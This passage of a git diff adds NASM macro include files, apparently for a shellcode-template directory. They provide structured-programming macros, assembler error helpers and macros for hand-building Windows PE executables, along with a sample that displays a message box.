BYTE.INC_TEMPORARY_REGISTER + %rep %0-1 + pop BYTE.INC_TEMPORARY_REGISTER + %endrep + %else + Error FUNCTION,NO_00 => TEMPORARY_REGISTER + %endif + %endif + %endif +%endmacro + +;FunctionCall nom fonction [,p1,...] +%macro FunctionCall 1-2+ + %ifdef FunctionDefine_%1 + %define FunctionCall_Address_Define @%1 + %ifidni FunctionDefine_%1,Std + %if %0==1 + FunctionCallStd %1 + %else + FunctionCallStd %1,%2 + %endif + %elifidni FunctionDefine_%1,Pascal + %if %0==1 + FunctionCallPascal %1 + %else + FunctionCallPascal %1,%2 + %endif + %else + %if %0==1 + FunctionCallC %1 + %else + FunctionCallC %1,%2 + %endif + %endif + %undef FunctionCall_Address_Define + %else + %if %0==1 + Error FUNCTION,FunctionCall %1 + %else + Error FUNCTION,FunctionCall %1,%2 + %endif + %endif +%endmacro + +%endif diff --git a/external/source/shellcode/windows/templates/inc/language.inc b/external/source/shellcode/windows/templates/inc/language.inc new file mode 100644 index 0000000000..e55c0c379e --- /dev/null +++ b/external/source/shellcode/windows/templates/inc/language.inc @@ -0,0 +1,328 @@ +; MACROS FOR STRUCTURATED PROGRAMMING v0.9a +; ========================================= + + +;Continue +;Break + +;IfJmp {valeur1},condition,valeur2,l [,-1|+1] +;IfNotJmp {valeur1},condition,valeur2,l [,-1|+1] +;If {valeur1},condition,valeur2 +;IfX condition asm +; ... +;[Else] +; [...] +;EndIf + +;Switch v +;Case v1 +;... +;[Default] +; [...] +;EndSwitch +; les conditions Case sont évaluées juste avant leur exécution, à la +; différence du C !!! + +;While [{valeur1},condition,valeur2] +; ... +;EndWhile [{valeur1},condition,valeur2] + +;Until [{valeur1},condition,valeur2] +; ... +;EndUntil [{valeur1},condition,valeur2] + +;For compteur,valeur_début,condition,valeur_fin,valeur_incrément +; ... +;EndFor + +;================================= General =================================== +%ifndef _LANGUAGE.INC +%define _LANGUAGE.INC + +%include "byte.inc" + +;============================= Continue-Break ================================ +%macro Continue 0 + %ifdef %$BeginEnd + Jmp %$Begin,-1 + %elifdef %$$BeginEnd + Jmp %$$Begin,-1 + %elifdef %$$$BeginEnd + Jmp %$$$Begin,-1 + %elifdef %$$$$BeginEnd + Jmp %$$$$Begin,-1 + %elifdef %$$$$$BeginEnd + Jmp %$$$$$Begin,-1 + %elifdef %$$$$$$BeginEnd + Jmp %$$$$$$Begin,-1 + %elifdef %$$$$$$$BeginEnd + Jmp %$$$$$$$Begin,-1 + %elifdef %$$$$$$$$BeginEnd + Jmp %$$$$$$$$Begin,-1 + %elifdef %$$$$$$$$$BeginEnd + Jmp %$$$$$$$$$Begin,-1 + %elifdef %$$$$$$$$$$BeginEnd + Jmp %$$$$$$$$$$Begin,-1 + %else + Error LANGUAGE,Continue => 10 blocs maximum + %endif +%endmacro + +%macro Break 0 + %ifdef %$BeginEnd + Jmp %$End,+1 + %elifdef %$$BeginEnd + Jmp %$$End,+1 + %elifdef %$$$BeginEnd + Jmp %$$$End,+1 + %elifdef %$$$$BeginEnd + Jmp %$$$$End,+1 + %elifdef %$$$$$BeginEnd + Jmp %$$$$$End,+1 + %elifdef %$$$$$$BeginEnd + Jmp %$$$$$$End,+1 + %elifdef %$$$$$$$BeginEnd + Jmp %$$$$$$$End,+1 + %elifdef %$$$$$$$$BeginEnd + Jmp %$$$$$$$$End,+1 + %elifdef %$$$$$$$$$BeginEnd + Jmp %$$$$$$$$$End,+1 + %elifdef %$$$$$$$$$$BeginEnd + Jmp %$$$$$$$$$$End,+1 + %else + Error LANGUAGE,Break => 10 blocs maximum + %endif +%endmacro + +;==================================== If ===================================== +%macro IfJmp 4+ + MultiParams %1 + %if MultiParams_Ret==1 + Cmp %1,%3 + %else + %1 + Cmp eax,%3 + %endif + %ifidni %2,== + JX e,%4 + %elifidni %2,!= + JX ne,%4 + %elifidni %2,< + JX b,%4 + %elifidni %2,> + JX a,%4 + %elifidni %2,<= + JX be,%4 + %elifidni %2,>= + JX ae,%4 + %else + Error LANGUAGE,IfJmp v1,condition,v2,label + %endif +%endmacro + +%macro IfNotJmp 4+ + MultiParams %1 + %if MultiParams_Ret==1 + Cmp %1,%3 + %else + %1 + Cmp eax,%3 + %endif + %ifidni %2,== + JX ne,%4 + %elifidni %2,!= + JX e,%4 + %elifidni %2,< + JX ae,%4 + %elifidni %2,> + JX be,%4 + %elifidni %2,<= + JX a,%4 + %elifidni %2,>= + JX b,%4 + %else + Error LANGUAGE,IfNotJmp v1,condition,v2,label + %endif +%endmacro + + +%macro If 3 + %push If + MultiParams %1 + %if MultiParams_Ret==1 + IfNotJmp %1,%2,%3,%$If_Not,+1 + %else + IfNotJmp {%1},%2,%3,%$If_Not,+1 + %endif +%endmacro + +%macro IfX 1 + %push If + JnX %1,%$If_Not,+1 +%endmacro + +%macro Else 0 + %ifctx If + Jmp %$If_End,+1 + %$If_Not: + %repl Else + %else + Error LANGUAGE,Else => If | IfX + %endif +%endmacro + +%macro EndIf 0 + %ifctx If + %$If_Not: + %pop + %elifctx Else + %$If_End: + %pop + %else + Error LANGUAGE,EndIf => If | IfX | Else + %endif +%endmacro + +;================================== Switch =================================== +%macro Switch 1 + %push Switch + %define %$BeginEnd + %define %$Switch_V_Define %1 + %$Begin: +%endmacro + +%macro Case 1 + %ifdef %$Switch_NeedEndIf_Define + EndIf + %endif + %ifctx Switch + If %$Switch_V_Define,==,%1 + %define %$Switch_NeedEndIf_Define + %else + Error LANGUAGE,Case => Switch + %endif +%endmacro + +%macro Default 0 + %ifdef %$Switch_NeedEndIf_Define + EndIf + %endif + %ifctx Switch + %else + Error LANGUAGE,Default => Switch + %endif +%endmacro + +%macro EndSwitch 0 + %ifdef %$Switch_NeedEndIf_Define + EndIf + %endif + %ifctx Switch + %$End: + %pop + %else + Error LANGUAGE,EndSwitch => Switch + %endif +%endmacro + +;================================== While ==================================== +%macro While 0-3 + %push While + %define %$BeginEnd + %$Begin: + %if %0!=0 + MultiParams %1 + %if MultiParams_Ret==1 + IfNotJmp %1,%2,%3,%$End,+1 + %else + IfNotJmp {%1},%2,%3,%$End,+1 + %endif + %endif +%endmacro + +%macro EndWhile 0-3 + %ifctx While + %if %0!=0 + MultiParams %1 + %if MultiParams_Ret==1 + IfJmp %1,%2,%3,%$Begin,-1 + %else + IfJmp {%1},%2,%3,%$Begin,-1 + %endif + %else + Continue + %endif + %$End: + %pop + %else + Error LANGUAGE,EndWhile => While + %endif +%endmacro + +;================================== Until ==================================== +%macro Until 0-3 + %push Until + %define %$BeginEnd + %$Begin: + %if %0!=0 + MultiParams %1 + %if MultiParams_Ret==1 + IfJmp %1,%2,%3,%$End,+1 + %else + IfJmp {%1},%2,%3,%$End,+1 + %endif + %endif +%endmacro + +%macro EndUntil 0-3 + %ifctx Until + %if %0!=0 + MultiParams %1 + %if MultiParams_Ret==1 + IfNotJmp %1,%2,%3,%$Begin,-1 + %else + IfNotJmp {%1},%2,%3,%$Begin,-1 + %endif + %else + Continue + %endif + %$End: + %pop + %else + Error LANGUAGE,EndUntil => Until + %endif +%endmacro + +;=================================== For ===================================== +%macro For 5 + %push For + %define %$BeginEnd + %define %$For_1_Define %1 + %define %$For_5_Define %5 + Mov %1,%2 + %$Begin: + MultiParams %1 + %if MultiParams_Ret==1 + IfNotJmp %1,%3,%4,%$End,+1 + %else + IfNotJmp {%1},%3,%4,%$End,+1 + %endif +%endmacro + +%macro EndFor 0 + %ifctx For + %if %$For_5_Define>0 + Add %$For_1_Define,%$For_5_Define + %elif %$For_5_Define<0 + Sub %$For_1_Define,-%$For_5_Define + %else + %endif + Continue + %$End: + %pop + %else + Error LANGUAGE,EndFor => For + %endif +%endmacro + +%endif diff --git a/external/source/shellcode/windows/templates/inc/nasm.inc b/external/source/shellcode/windows/templates/inc/nasm.inc new file mode 100644 index 0000000000..09c817f1e8 --- /dev/null +++ b/external/source/shellcode/windows/templates/inc/nasm.inc @@ -0,0 +1,54 @@ +; GENERAL MACROS FOR NASM v1.0a +; ============================= + + +;NASM.INC_NO_WARNING => ne pas afficher les warnings utilisateurs + + +;Error include(sans .INC),message +;Warning include(sans .INC),message + +;MultiParams p +; -> MultiParams_Ret = nombre de paramètres + +;================================= General =================================== +%ifndef _NASM.INC +%define _NASM.INC + +%push _NASM.INC ;pour éviter erreurs %ifctx + +%macro NASM.INC 0 + %undef NASM.INC_NO_WARNING + %assign ErrorWarning_Assign 0 +%endmacro + +%macro NASM.INC~ 0 + NASM.INC +%endmacro + +NASM.INC + +%macro Error 2+ + ErrorWarningNext + %error %1.INC error: %2 +%endmacro + +%macro Warning 2+ + %ifndef NASM.INC_NO_WARNING + ErrorWarningNext + %error %1.INC warning: %2 + %endif +%endmacro + +%macro ErrorWarningNext 0 + %assign ErrorWarning_Assign ErrorWarning_Assign+1 + %if ErrorWarning_Assign==1 + %error =============================================== + %endif +%endmacro + +%macro MultiParams 1-* + %define MultiParams_Ret %0 +%endmacro + +%endif diff --git a/external/source/shellcode/windows/templates/inc/pe.asm b/external/source/shellcode/windows/templates/inc/pe.asm new file mode 100644 index 0000000000..a2f9c37e7b --- /dev/null +++ b/external/source/shellcode/windows/templates/inc/pe.asm @@ -0,0 +1,112 @@ +; PE FILE STRUCTURE +; ================= + +%include "pe.inc" + +BIN_Begin + MZHeader + MZExtendedHeader + MZSection.text_Begin + push cs + pop ds + mov dx,MZSection.text_VA(text_string) + mov ah,09 + int 21h + mov ax,4C01h + int 21h + text_string: db 'This program cannot be run in DOS mode.',0Dh,0Ah,'$' + MZSection.text_End + + PEHeader + %define PEOptionalheader_EipRVA PESection.text_RVA(mondebut) + PEOptionalHeader_Begin + PEOptionalHeader_Directory Export,0,0 + PEOptionalHeader_Directory Import,Import_Directorys_RVA,Import_Directorys_VS +; PEOptionalHeader_Directory Resource,0,0 +; PEOptionalHeader_Directory Exception,0,0 +; PEOptionalHeader_Directory Security,0,0 +; PEOptionalHeader_Directory Relocations,0,0 +; PEOptionalHeader_Directory Debug,0,0 +; PEOptionalHeader_Directory ImageDescription,0,0 +; PEOptionalHeader_Directory MachineSpecific,0,0 +; PEOptionalHeader_Directory ThreadLocalStorage,0,0 + PEOptionalHeader_End + + PESectionHeader .text,'.text',PESectionHeader_Flags_EXECUTABLECODE | PESectionHeader_Flags_DATAFROMFILE | PESectionHeader_Flags_EXECUTEACCESS | PESectionHeader_Flags_READACCESS + PESectionHeader .rdata,'.rdata',PESectionHeader_Flags_DATAFROMFILE | PESectionHeader_Flags_READACCESS + PESectionHeader .data,'.data',PESectionHeader_Flags_DATAFROMFILE | PESectionHeader_Flags_READACCESS | PESectionHeader_Flags_WRITEACCESS + PESectionHeader .bss,'.bss', PESectionHeader_Flags_DATA0 | PESectionHeader_Flags_READACCESS | PESectionHeader_Flags_WRITEACCESS + PESectionHeader .idata,'.idata',PESectionHeader_Flags_DATAFROMFILE | PESectionHeader_Flags_READACCESS + PESections_Begin + PESection.text_Begin + int 03h +mondebut: +MB_OK equ 0 + mov eax,MB_OK + push eax + mov eax,PESection.rdata_VA(message) + call [GetCommandLineA] + push eax + push eax + mov eax,0 + push eax + call [MessageBoxA] + call [PESection.idata_VA(Import.KERNEL32.ExitProcess)] + mov [PESection.text_VA(text1)],eax + mov [PESection.rdata_VA(rdata1)],ebx + mov [PESection.data_VA(data1)],ecx + mov [PESection.bss_VA(bss1)],edx +text1: + jmp short mondebut + PESection.text_End + + PESection.rdata_Begin +message: db "coucou",0 +rdata1: times 1001h db 22h ;db 'data1' + PESection.rdata_End + + PESection.data_Begin +data1: times 1205h db 0FEh + PESection.data_End + + PESection.bss_Begin +bss1: resb 1001h + PESection.bss_End + + PESection.idata_Begin + Import_Directorys_Begin .idata + Import_Directory KERNEL32 + Import_Directory USER32 + Import_Directorys_End + + Import_RVAs_Begin KERNEL32 + Import_RVA KERNEL32,GetCommandLineA + Import_RVA KERNEL32,ExitProcess + Import_RVAs_End + Import_RVAs_Begin USER32 + Import_RVA USER32,MessageBoxA + Import_RVAs_End + + Import_VAs_Begin KERNEL32 + Import_VA KERNEL32,GetCommandLineA,0BFF8C5ACh + Import_VA KERNEL32,ExitProcess,0BFF8D4CAh + Import_VAs_End + Import_VAs_Begin USER32 + Import_VA USER32,MessageBoxA + Import_VAs_End + + Import_Strings_Begin KERNEL32 + Import_String_Function KERNEL32,GetCommandLineA,"GetCommandLineA",0D0h + Import_String_Function KERNEL32,ExitProcess,"ExitProcess",07Fh + Import_String_Dll KERNEL32,"KERNEL32.DLL" + Import_Strings_End + Import_Strings_Begin USER32 + Import_String_Function USER32,MessageBoxA,"MessageBoxA" + Import_String_Dll USER32,"USER32.DLL" + Import_Strings_End + PESection.idata_End + + + + PESections_End +BIN_End diff --git a/external/source/shellcode/windows/templates/inc/pe.inc b/external/source/shellcode/windows/templates/inc/pe.inc new file mode 100644 index 0000000000..0fb9390f13 --- /dev/null +++ b/external/source/shellcode/windows/templates/inc/pe.inc @@ -0,0 +1,654 @@ +;corriger ;??? +;raison inconnue ; ? + + +;gestion message d'erreur structures (%error) +; %define et %ifdef pour tester l'existence de header n‚cessaires +; (pour ‚viter les erreurs de label ind‚finis) + +;.edata,.rsrc (icones) + +;supprimer macro Directories ? (calcul automatique ?) + + +; MACROS AND DEFINITIONS FOR PE FILES v1.0a +; ========================================= +;By rix-shogun-agressor (erix@mail.dotcom.fr,rix@dreamnet.org) + +;conventions: +;xxx_VA: adresse virtuelle (adresse en m‚moire) +;xxx_RVA: d‚placement d'adresse virtuel (offset d'adresse en m‚moire%baseVA) +;xxx_VS: taille virtuelle (taille en m‚moire) +;xxx_FS: taille fichier +;xxx_FA: adresse fichier (offset dans le fichier) +;xxx_Fa: file alignement +;xxx-Va: virtual alignement (alignement m‚moire) +;xxx_Assign: assignation pour un calcul ‚valu‚ plus tard +;xxx_Define: definition pour un calcul ‚valu‚ plus tard dont une des valeurs +; est toujours inconnue +;xxx_Ifctx: macros pour regrouper plusieurs %ifctx +;xxx: valeur + +;sections: text, +;macros de d‚finitions des header: NOM[SousNom]_Begin NOM[SousNom]_End +; ou bien: NOM[SousNom] +;define de d‚finitions des headers: NOM[SousNom]_Xxx +;definition de constantes des header: NOM[SousNom]_XXX +;nom interne aux macros NOMHeader NOM[SousNom]_Begin_FA NOM[SousNom]_End_FA + +;MacroXXX:macros internes + +;xxxx:normal +;xxxxa:align‚ (V=>align‚ virtuel,F=>align‚ fichier) + +;equ: valeur calcul‚e d'aprŠs nombres suivants l'endroit de stockage +;%define: d‚claration des constantes utilisables par l'utilisateur +;%assign: d‚claration des variables internes pour les calculs d'equ (_Assign) + +;================================= BIN Begin ================================= +%ifndef PE.INC +%define PE.INC +%push PE.INC + +%include "language.inc" + +%macro BIN_Begin 0 + SECTION .text + BIN_Begin_FA: + %push BIN_Begin +%endmacro + +;================================= MZ Header ================================= +%define MZHeader_MinimumMemory 0 ;en paragraphes, … ajouter en fin de m‚moire +%define MZHeader_MaximumMemory 0FFFFh ;en paragraphes, … ajouter en fin de m‚moire +%define MZHeader_Ss 0000h +%define MZHeader_Sp 00B8h ; ? +%define MZHeader_Ip 0000h +%define MZHeader_Cs 0000h + +%macro MZHeader 0 + %ifctx BIN_Begin + BITS 16 + MZHeader_Begin_FA: + MZHeader_Signature_FA: db 'MZ' + MZHeader_LastPageBytes_FA: dw (BIN_End_FAa-BIN_Begin_FA) % 512 + MZHeader_PagesNumber_FA: dw (BIN_End_FAa-BIN_Begin_FA)/512+1 + MZHeader_RelocationsNumber_FA: dw 0 + MZHeader_HeaderParagraphsNumber_FA: dw (MZExtendedHeader_End_FA-MZHeader_Begin_FA)/16 + MZHeader_MinimumMemory_FA: dw MZHeader_MinimumMemory + MZHeader_MaximumMemory_FA: dw MZHeader_MaximumMemory + MZHeader_Ss_FA: dw MZHeader_Ss + MZHeader_Sp_FA: dw MZHeader_Sp + MZHeader_Checksum_FA: dw 0 + MZHeader_Ip_FA: dw MZHeader_Ip + MZHeader_Cs_FA: dw MZHeader_Cs + MZHeader_RelocationTableFA_FA: dw 0040h ;0040h=>fichier PE + MZHeader_OverlayNumber_FA: dw 0 + MZHeader_End_FA: + %repl MZHeader + %else + %error PE.INC error: MZHeader => BIN_Begin + %endif +%endmacro + +;============================ MZ Extended Header ============================= +%macro MZExtendedHeader 0 + %ifctx MZHeader + MZExtendedHeader_Begin_FA: + dd 0 + dw 0 + %rep 26 + db 0 + %endrep + MZExtendedHeader_PEHeaderFA_FA: dd PEHeader_Begin_FA + MZExtendedHeader_End_FA: + %repl MZExtendedHeader + %else + %error PE.INC error: MZExtendedHeader => MZHeader + %endif +%endmacro + +;================================== MZ Text ================================== +%macro MZSection.text_Begin 0 + %ifctx MZExtendedHeader + MZSection.text_Begin_FA: + %define MZSection.text_VA(a) (a)-MZSection.text_Begin_FA + %repl MZSection.text_Begin + %else + %error PE.INC error: MZSection.text_Begin => MZExtendedHeader + %endif +%endmacro + +%macro MZSection.text_End 0 + %ifctx MZSection.text_Begin + MZSection.text_End_FA: + DbAlign MZSection.text_Begin_FA,16 + MZSection.text_End_FAa: + %repl MZSection.text_End + %else + %error PE.INC error: MZSection.text_End => MZSection.text_Begin + %endif +%endmacro + +;================================= PE Header ================================= + %define PEHeader_Machine_386 14Ch + %define PEHeader_Machine_486 14Dh + %define PEHeader_Machine_PENTIUM 14Eh +%define PEHeader_Machine PEHeader_Machine_386 +%define PEHeader_DateHour 0 +%define PEHeader_OptionalHeaderFS 0E0h ; ? + %define PEHeader_Characteristics_NORELOCATIONS 0000000000000001b + %define PEHeader_Characteristics_EXECUTABLEIMAGE 0000000000000010b ;ex‚cutable/librairie + %define PEHeader_Characteristics_16B 0000000001000000b ;programme 16 bits + %define PEHeader_Characteristics_BYTESREVERSEDLOW 0000000010000000b + %define PEHeader_Characteristics_32B 0000000100000000b ;programme 32 bits + %define PEHeader_Characteristics_NODEBUGINFORMATIONS 0000001000000000b + %define PEHeader_Characteristics_SYSTEMFILE 0001000000000000b + %define PEHeader_Characteristics_DLL 0010000000000000b + %define PEHeader_Characteristics_BYTESREVERSEDHIGH 1000000000000000b +%define PEHeader_Characteristics PEHeader_Characteristics_NORELOCATIONS | PEHeader_Characteristics_EXECUTABLEIMAGE | PEHeader_Characteristics_32B + +%macro PEHeader 0 + %ifctx MZSection.text_End + BITS 32 + PEHeader_Begin_FA: + PEHeader_Signature_FA: db 'PE',00h,00h + PEHeader_Machine_FA: dw PEHeader_Machine + PEHeader_SectionsNumber_FA: dw PEHeader_SectionsNumber + %assign PEHeader_SectionsNumber_Assign 0 + PEHeader_DateHour_FA: dd PEHeader_DateHour + dd 0 + dd 0 + PEHeader_OptionalHeaderFS_FA: dw PEHeader_OptionalHeaderFS + PEHeader_Characteristics_FA: dw PEHeader_Characteristics + PEHeader_End_FA: + %define PESection_RVA(a) PESectionCur_RVAa_Assign+(a)-PESectionCur_FAa_Define + %define PESection.text_RVA(a) PESection.text_RVAa+(a)-PESection.text_Begin_FAa + %define PESection.rdata_RVA(a) PESection.rdata_RVAa+(a)-PESection.rdata_Begin_FAa + %define PESection.data_RVA(a) PESection.data_RVAa+(a)-PESection.data_Begin_FAa + %define PESection.bss_RVA(a) PESection.bss_RVAa+(a)-PESection.bss_Begin_FAa + %define PESection.idata_RVA(a) PESection.idata_RVAa+(a)-PESection.idata_Begin_FAa + %repl PEHeader + %else + %error PE.INC error: PEHeader => MZSection.text_End + %endif +%endmacro + +;============================ PE Optional Header ============================= +%define PEOptionalHeader_MajorLinkerVersion 0 +%define PEOptionalHeader_MinorLinkerVersion 0 +%define PEOptionalheader_EipRVA PESection.text_RVA(PESection.text_Begin_FAa) +%define PEOptionalHeader_ImageVAa 00400000h +%define PEOptionalHeader_Va 1000h +%define PEOptionalHeader_Fa 200h +%define PEOptionalHeader_MajorOSVersion 4 +%define PEOptionalHeader_MinorOSVersion 0 +%define PEOptionalHeader_MajorProgramVersion 0 +%define PEOptionalHeader_MinorProgramVersion 0 +%define PEOptionalHeader_MajorSubSystemVersion 4 +%define PEOptionalHeader_MinorSubSystemVersion 0 + %define PEOptionalHeader_SubSystem_DRIVER 1 + %define PEOptionalHeader_SubSystem_GUI 2 + %define PEOptionalHeader_SubSystem_CONSOLE 3 + %define PEOptionalHeader_SubSystem_POSIX 7 +%define PEOptionalHeader_SubSystem PEOptionalHeader_SubSystem_GUI + %define PEOptionalHeader_DllFlags_NOTIFYPROCESSATTACHMENTS 0001b + %define PEOptionalHeader_DllFlags_NOTIFYPROCESSDETACHMENTS 0010b + %define PEOptionalHeader_DllFlags_NOTIFYTHREADSATTACHMENTS 0100b + %define PEOptionalHeader_DllFlags_NOTIFYTHREADSDETACHMENTS 1000b +%define PEOptionalHeader_DllFlags 0 +%define PEOptionalHeader_ReservedStackVSa 0 +%define PEOptionalHeader_CommittedStackVSa 0 +%define PEOptionalHeader_ReservedHeapVSa 0 +%define PEOptionalHeader_CommittedHeapVSa 0 + +%macro PEOptionalHeader_Begin 0 + %ifctx PEHeader + PEOptionalHeader_Begin_FA: + PEOptionalHeader_Signature_FA: db 0Bh,01h + PEOptionalHeader_MajorLinkerVersion_FA: db PEOptionalHeader_MajorLinkerVersion + PEOptionalHeader_MinorLinkerVersion_FA: db PEOptionalHeader_MinorLinkerVersion + PEOptionalHeader_CodeFSa_FA: dd PESection.text_FSa + PEOptionalHeader_InitializedDataFSa_FA: dd PEOptionalHeader_InitializedDataFSa + %assign PEOptionalHeader_InitializedDataFSa_Assign 0 + PEOptionalHeader_UninitializedDataVSa_FA: dd PESection.bss_VSa + PEOptionalHeader_EipRVA_FA: dd PEOptionalheader_EipRVA + PEOptionalHeader_CodeRVAa_FA: dd PESection.text_RVAa + %assign PEOptionalHeader_DataRVAa_Assign 0 + PEOptionalHeader_DataRVAa_FA: dd PEOptionalHeader_DataRVAa ; ? + PEOptionalHeader_ImageVAa_FA: dd PEOptionalHeader_ImageVAa + PEOptionalHeader_Va_FA: dd PEOptionalHeader_Va + PEOptionalHeader_Fa_FA: dd PEOptionalHeader_Fa + PEOptionalHeader_MajorOSVersion_FA: dw PEOptionalHeader_MajorOSVersion + PEOptionalHeader_MinorOSVersion_FA: dw PEOptionalHeader_MinorOSVersion + PEOptionalHeader_MajorProgramVersion_FA: dw PEOptionalHeader_MajorProgramVersion + PEOptionalHeader_MinorProgramVersion_FA: dw PEOptionalHeader_MinorProgramVersion + PEOptionalHeader_MajorSubSystemVersion_FA: dw PEOptionalHeader_MajorSubSystemVersion + PEOptionalHeader_MinorSubSystemVersion_FA: dw PEOptionalHeader_MinorSubSystemVersion + dd 0 + PEOptionalHeader_ImageVSa_FA: dd PEOptionalHeader_ImageVSa + PEOptionalHeader_HeadersFSa_FA: dd PESections_Begin_FAa-BIN_Begin_FA + PEOptionalHeader_Checksum_FA: dd 0 + PEOptionalHeader_SubSystem_FA: dw PEOptionalHeader_SubSystem + PEOptionalHeader_DllFlags_FA: dw PEOptionalHeader_DllFlags + PEOptionalHeader_ReservedStackVSa_FA: dd PEOptionalHeader_ReservedStackVSa ;??? + PEOptionalHeader_CommittedStackVSa_FA: dd PEOptionalHeader_CommittedStackVSa ;??? + PEOptionalHeader_ReservedHeapVSa_FA: dd PEOptionalHeader_ReservedHeapVSa ;??? + PEOptionalHeader_CommittedHeapVSa_FA: dd PEOptionalHeader_CommittedHeapVSa ;??? + dd 0 + PEOptionalHeader_DirectoriesNumber_FA: dd PEOptionalHeader_DirectoriesNumber + %assign PEOptionalHeader_DirectoriesNumber_Assign 0 + %repl PEOptionalHeader_Begin + %else + %error PE.INC error: PEOptionalHeader_Begin => PEHeader + %endif +%endmacro + +;PEOptionalHeader_Directory name,RVA,FS +%macro PEOptionalHeader_Directory 3 + %ifctx PEOptionalHeader_Begin + PEOptionalHeader%1RVA_FA: dd %2 + PEOptionalHeader%1FS_FA: dd %3 + %assign PEOptionalHeader_DirectoriesNumber_Assign PEOptionalHeader_DirectoriesNumber_Assign+1 + %else + %error PE.INC error: PEOptionalHeader_Directory => PEOptionalHeader_Begin + %endif +%endmacro + +%macro PEOptionalHeader_End 0 + %ifctx PEOptionalHeader_Begin + PEOptionalHeader_End_FA: + DbAlign PEOptionalHeader_Begin_FA,PEHeader_OptionalHeaderFS + PEOptionalHeader_End_FAa: + PEOptionalHeader_DirectoriesNumber equ PEOptionalHeader_DirectoriesNumber_Assign + %repl PEOptionalHeader_End + %else + %error PE.INC error: PEOptionalHeader_End => PEOptionalHeader_Begin + %endif +%endmacro + +;============================= PE Section Header ============================= + %define PESectionHeader_Flags_EXECUTABLECODE 00000000000000000000000000100000b + %define PESectionHeader_Flags_DATAFROMFILE 00000000000000000000000001000000b + %define PESectionHeader_Flags_DATA0 00000000000000000000000010000000b + %define PESectionHeader_Flags_COMMENTS 00000000000000000000001000000000b + %define PESectionHeader_Flags_COMMONBLOCKDATA 00000000000000000001000000000000b + %define PESectionHeader_Flags_FARDATA 00000000000000001000000000000000b + %define PESectionHeader_Flags_PURGEABLEDATA 00000000000000100000000000000000b + %define PESectionHeader_Flags_NONMOVABLEDATA 00000000000001000000000000000000b + %define PESectionHeader_Flags_SHAREDINSTANCES 00010000000000000000000000000000b ;.text + %define PESectionHeader_Flags_EXECUTEACCESS 00100000000000000000000000000000b + %define PESectionHeader_Flags_READACCESS 01000000000000000000000000000000b + %define PESectionHeader_Flags_WRITEACCESS 10000000000000000000000000000000b + +;PESectionHeader .name,'.name',flags +%macro PESectionHeader 3 + %ifctx PEOptionalHeader_End + PESectionHeader%1_Name_FA: db %2 + DbAlign PESectionHeader%1_Name_FA,8 + PESectionHeader%1_VS_FA: dd PESection%1_VS + PESectionHeader%1_RVAa_FA: dd PESection%1_RVAa + PESectionHeader%1_FSa_FA: dd PESection%1_FSa + PESectionHeader%1_FAa_FA: dd PESectionHeader%1_FAa + dd 0 + dd 0 + dw 0 + dw 0 + PESectionHeader%1_Flags_FA: dd %3 + %else + %error PE.INC error: PESectionHeader => PEOptionalHeader_End + %endif +%endmacro + +;================================ PE Sections ================================ +%macro PESections_Begin 0 + %ifctx PEOptionalHeader_End + PESections_Begin_FA: + DbAlign BIN_Begin_FA,PEOptionalHeader_Fa + PESections_Begin_FAa: + %assign PESectionPrec_FSa_Assign PESections_Begin_FAa-BIN_Begin_FA + %assign PESectionPrec_RVAa_Assign 0 + %assign PESectionCur_RVAa_Assign 0 + %define PESectionCur_FAa_Define 0 + ;impossible dans MacroPESection_Begin + %define PESection_VA(a) PEOptionalHeader_ImageVAa+PESectionCur_RVAa_Assign+(a)-PESectionCur_FAa_Define + %define PESection.text_VA(a) PEOptionalHeader_ImageVAa+PESection.text_RVAa+(a)-PESection.text_Begin_FAa + %define PESection.rdata_VA(a) PEOptionalHeader_ImageVAa+PESection.rdata_RVAa+(a)-PESection.rdata_Begin_FAa + %define PESection.data_VA(a) PEOptionalHeader_ImageVAa+PESection.data_RVAa+(a)-PESection.data_Begin_FAa + %define PESection.bss_VA(a) PEOptionalHeader_ImageVAa+PESection.bss_RVAa+(a)-PESection.bss_Begin_FAa + %define PESection.idata_VA(a) PEOptionalHeader_ImageVAa+PESection.idata_RVAa+(a)-PESection.idata_Begin_FAa + %repl PESections_Begin + %else + %error PE.INC error: PESections_Begin => PEOptionalHeader + %endif +%endmacro + +;MacroPESection_End .name +%macro MacroPESection_End 1 + PESection%1_End_FA: + DbAlign BIN_Begin_FA,PEOptionalHeader_Fa + PESection%1_End_FAa: + %assign PEHeader_SectionsNumber_Assign PEHeader_SectionsNumber_Assign+1 + PESection%1_VS equ PESection%1_End_FA-PESection%1_Begin_FAa +%endmacro + + +%macro PESection.text_Begin 0 + %ifctx PESections_Begin + %assign PESectionCur_RVAa_Assign (((PESectionPrec_RVAa_Assign+PESectionPrec_FSa_Assign-1)/PEOptionalHeader_Va)+1)*PEOptionalHeader_Va + PESection.text_Begin_FAa: + %define PESectionCur_FAa_Define PESection.text_Begin_FAa + %push PESection.text_Begin + %else + %error PE.INC error: PESection.text_Begin => PESections_Begin + %endif +%endmacro + +%macro PESection.text_End 0 + %ifctx PESection.text_Begin + MacroPESection_End .text + %assign PESectionPrec_RVAa_Assign PESectionCur_RVAa_Assign + PESection.text_RVAa equ PESectionPrec_RVAa_Assign + PESection.text_FSa equ PESection.text_End_FAa-PESection.text_Begin_FAa + %assign PESectionPrec_FSa_Assign PESection.text_FSa + PESectionHeader.text_FAa equ PESection.text_Begin_FAa + %pop + %else + %error PE.INC error: PESection.text_End => PESection.text_Begin + %endif +%endmacro + + +%macro PESection.rdata_Begin 0 + %ifctx PESections_Begin + %assign PESectionCur_RVAa_Assign (((PESectionPrec_RVAa_Assign+PESectionPrec_FSa_Assign-1)/PEOptionalHeader_Va)+1)*PEOptionalHeader_Va + PESection.rdata_Begin_FAa: + %define PESectionCur_FAa_Define PESection.rdata_Begin_FAa + %push PESection.rdata_Begin + %else + %error PE.INC error: PESection.rdata_Begin => PESections_Begin + %endif +%endmacro + +%macro PESection.rdata_End 0 + %ifctx PESection.rdata_Begin + MacroPESection_End .rdata + %assign PESectionPrec_RVAa_Assign PESectionCur_RVAa_Assign + PESection.rdata_RVAa equ PESectionPrec_RVAa_Assign + PESection.rdata_FSa equ PESection.rdata_End_FAa-PESection.rdata_Begin_FAa + %assign PESectionPrec_FSa_Assign PESection.rdata_FSa + PESectionHeader.rdata_FAa equ PESection.rdata_Begin_FAa + %assign PEOptionalHeader_InitializedDataFSa_Assign PEOptionalHeader_InitializedDataFSa_Assign+PESection.rdata_FSa + %if PEOptionalHeader_DataRVAa_Assign == 0 + %assign PEOptionalHeader_DataRVAa_Assign PESection.rdata_RVAa + %endif + %pop + %else + %error PE.INC error: PESection.rdata_End => PESection.rdata_Begin + %endif +%endmacro + + +%macro PESection.data_Begin 0 + 